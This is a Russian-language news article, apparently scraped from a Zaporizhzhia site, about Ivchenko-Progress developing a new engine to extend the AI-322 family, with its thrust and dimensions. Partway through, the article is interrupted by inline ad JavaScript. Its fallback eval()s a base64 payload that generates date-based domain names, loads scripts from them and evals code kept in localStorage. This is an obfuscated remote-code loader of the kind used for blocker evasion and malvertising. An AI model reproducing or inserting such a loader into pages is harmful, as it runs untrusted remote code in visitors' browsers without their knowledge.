Государственное предприятие «Ивченко-Прогресс» работает над новым двигателем для реактивных учебных и учебно-боевых самолетов.
Как пишет sprotyv.info он расширит возможности семейства двигателей АИ-322, что сейчас используются на учебно-боевых самолетах L-15 производства Китайской Народной Республики.
Двигатель АИ-322 разработан на базе АИ-222 — семейства двигателей, устанавливается на самолеты Як-130 и Hongdu L-15.
«… на днях мы защитили проект с нового двигателя, который расширит возможности семейства двигателей АИ-322», — прокомментировал этап работ по двигателю генеральный конструктор ГП Игорь Кравченко. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Двигатель предназначен для применения на современных учебно-тренировочных и легких боевых самолетах, он имеет увеличенную тягу на взлетном режиме составляет 3000 кгс против 2500 кгс на АИ-322 и АИ-322Ф в безфорсажному режиме.
Сухая масса двигателя — 534 кг, габаритные размеры: длина (без кока) — 3138 мм, ширина — 860 мм, высота — 1096 мм. Удельный расход топлива — 0,84 кг / кг • ч, что даже меньше менее мощный АИ-322, где расход составляет 0,875 кг / кг • ч.
Вполне вероятно, что именно этот двигатель вспоминал Генеральный конструктор ГП «Ивченко-Прогресс». Игорь Кравченко не уточнял в интересах какой страны осуществляется разработка нового двигателя и сроки для завершения всех работ. Сейчас авиадвигатели, разработанные ГП «Ивченко-Прогресс», применяются на 66-й типах летательных аппаратов и эксплуатируются в более чем 100 странах мира. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в
Источник: https://akzent.zp.ua/v-zaporozhe-razrabatyvayut-novyj-dvigatel-dlya-samoletov-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
